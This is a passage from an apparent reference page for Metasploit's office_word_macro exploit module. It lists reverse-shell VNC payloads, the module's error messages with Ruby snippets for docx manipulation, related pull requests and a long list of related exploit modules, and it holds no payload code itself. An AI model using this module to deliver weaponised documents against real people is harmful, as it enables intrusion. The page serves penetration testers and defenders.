178 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
179 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
180 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
181 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
182 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
183 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
184 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
185 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
186 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
187 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
188 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
189 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the multi/fileformat/office_word_macro exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/fileformat/office_word_macro) > show evasion
Module evasion options:
Name Current Setting Required Description
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Error Messages
This module may fail with the following error messages:
Error Messages
- This template cannot be used because it is missing: <FNAME>
- [Content_Types].xml is missing the Types node.
- [Content_Types].xml is missing the Types node.
- _rels/.rels is missing the Relationships node
- word/_rels/document.xml.rels is missing the Relationships node.
- _rels/.rels is missing the Relationships node
- word/_rels/document.xml.rels is missing the Relationships node
- Template is not a docx file.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
This template cannot be used because it is missing: <FNAME>
Here is a relevant code snippet related to the "This template cannot be used because it is missing: <FNAME>" error message:
63:
64: def get_file_in_docx(fname)
65: i = @docx.find_index { |item| item[:fname] == fname }
66:
67: unless i
68: fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
69: end
70:
71: @docx.fetch(i)[:data]
72: end
73:
[Content_Types].xml is missing the Types node.
Here is a relevant code snippet related to the "[Content_Types].xml is missing the Types node." error message:
77: else
78: xml = get_file_in_docx('[Content_Types].xml')
79: types_node = xml.at('Types')
80:
81: unless types_node
82: fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
83: end
84:
85: child_data = "<Default Extension=\"#{extension}\" ContentType=\"#{content_type}\"/>"
86: types_node.add_child(child_data)
87: end
[Content_Types].xml is missing the Types node.
Here is a relevant code snippet related to the "[Content_Types].xml is missing the Types node." error message:
95: def add_content_type_partname(part_name, content_type)
96: ctype_xml = get_file_in_docx('[Content_Types].xml')
97: types_node = ctype_xml.at('Types')
98:
99: unless types_node
100: fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
101: end
102:
103: child_data = "<Override PartName=\"#{part_name}\" ContentType=\"#{content_type}\"/>"
104: types_node.add_child(child_data)
105: end
_rels/.rels is missing the Relationships node
Here is a relevant code snippet related to the "_rels/.rels is missing the Relationships node" error message:
115: def add_rels_relationship(type, target)
116: rels_xml = get_file_in_docx('_rels/.rels')
117: relationships_node = rels_xml.at('Relationships')
118:
119: unless relationships_node
120: fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
121: end
122:
123: last_index = get_last_relationship_index_from_rels
124: relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
125: end
word/_rels/document.xml.rels is missing the Relationships node.
Here is a relevant code snippet related to the "word/_rels/document.xml.rels is missing the Relationships node." error message:
127: def add_doc_relationship(type, target)
128: rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
129: relationships_node = rels_xml.at('Relationships')
130:
131: unless relationships_node
132: fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node.')
133: end
134:
135: last_index = get_last_relationship_index_from_doc_rels
136: relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
137: end
_rels/.rels is missing the Relationships node
Here is a relevant code snippet related to the "_rels/.rels is missing the Relationships node" error message:
139: def get_last_relationship_index_from_rels
140: rels_xml = get_file_in_docx('_rels/.rels')
141: relationships_node = rels_xml.at('Relationships')
142:
143: unless relationships_node
144: fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
145: end
146:
147: relationships_node.search('Relationship').collect { |n|
148: n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
149: }.max
word/_rels/document.xml.rels is missing the Relationships node
Here is a relevant code snippet related to the "word/_rels/document.xml.rels is missing the Relationships node" error message:
152: def get_last_relationship_index_from_doc_rels
153: rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
154: relationships_node = rels_xml.at('Relationships')
155:
156: unless relationships_node
157: fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node')
158: end
159:
160: relationships_node.search('Relationship').collect { |n|
161: n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
162: }.max
Template is not a docx file.
Here is a relevant code snippet related to the "Template is not a docx file." error message:
265:
266: def exploit
267: template_path = get_template_path
268:
269: unless File.extname(template_path).match(/\.docx$/i)
270: fail_with(Failure::BadConfig, 'Template is not a docx file.')
271: end
272:
273: print_status("Using template: #{template_path}")
274: @docx = unpack_docx(template_path)
275:
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8457 Merged Pull Request: Update Microsoft office_word_macro exploit to support template injection
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7972 Merged Pull Request: Support OS X for Microsoft Office Word Macro Exploit
References
See Also
Check also the following modules related to this module:
- exploit/multi/fileformat/adobe_u3d_meshcont
- exploit/multi/fileformat/archive_tar_arb_file_write
- exploit/multi/fileformat/evince_cbt_cmd_injection
- exploit/multi/fileformat/ghostscript_failed_restore
- exploit/multi/fileformat/js_unpacker_eval_injection
- exploit/multi/fileformat/libreoffice_logo_exec
- exploit/multi/fileformat/libreoffice_macro_exec
- exploit/multi/fileformat/maple_maplet
- exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
- exploit/multi/fileformat/peazip_command_injection
- exploit/multi/fileformat/swagger_param_inject
- exploit/multi/fileformat/zip_slip
- exploit/windows/fileformat/office_dde_delivery
- exploit/windows/fileformat/office_excel_slk
- exploit/windows/fileformat/office_ms17_11882
- exploit/windows/fileformat/office_ole_multiple_dll_hijack
- exploit/windows/fileformat/office_word_hta
- exploit/multi/misc/openoffice_document_macro
- exploit/windows/browser/trendmicro_officescan
- exploit/windows/browser/ultraoffice_httpupload
- exploit/windows/fileformat/openoffice_ole
- exploit/windows/http/trendmicro_officescan
- exploit/windows/http/trendmicro_officescan_widget_exec
- exploit/windows/browser/macrovision_downloadandexecute
- exploit/windows/browser/macrovision_unsafe
- auxiliary/admin/officescan/tmlisten_traversal
- auxiliary/gather/office365userenum
- exploit/multi/http/glossword_upload_exec
- exploit/linux/antivirus/escan_password_exec
- exploit/osx/local/root_no_password
- exploit/osx/local/sudo_password_bypass
- exploit/windows/fileformat/word_msdtjs_rce
- exploit/windows/fileformat/word_mshtml_rce
- exploit/windows/http/integard_password_bof
- exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce
Authors
- sinn3r
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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